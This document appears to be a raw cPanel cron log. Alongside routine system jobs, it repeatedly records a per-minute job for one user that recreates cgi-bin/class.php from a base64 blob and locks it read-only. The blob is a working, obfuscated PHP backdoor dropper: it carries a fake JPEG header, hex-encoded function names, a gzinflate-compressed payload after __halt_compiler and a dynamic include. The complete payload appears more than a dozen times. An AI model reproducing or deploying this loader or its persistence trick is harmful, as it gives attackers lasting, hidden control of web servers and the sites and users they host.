Nov 11 08:08:01 server CROND[696]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 08:09:01 server CROND[932]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 08:09:01 server CROND[933]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 11 08:10:01 server CROND[1530]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 08:10:01 server CROND[1533]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 08:10:01 server CROND[1532]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 08:10:01 server CROND[1531]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 08:11:01 server CROND[2096]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 08:12:01 server CROND[2931]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 11 08:12:01 server CROND[2932]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 08:13:01 server CROND[3707]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 08:14:01 server CROND[4545]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 08:15:01 server CROND[5351]: (root) CMD (/usr/local/cpanel/bin/dbindex &gt;/dev/null 2&gt;&amp;1)
Nov 11 08:15:01 server CROND[5352]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 08:15:01 server CROND[5353]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 08:15:01 server CROND[5354]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 08:16:01 server CROND[6299]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 08:17:01 server CROND[6878]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 08:18:01 server CROND[7698]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 08:19:01 server CROND[8615]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 08:20:01 server CROND[9578]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 08:20:01 server CROND[9579]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 08:20:01 server CROND[9580]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 08:20:01 server CROND[9583]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 08:20:01 server CROND[9585]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
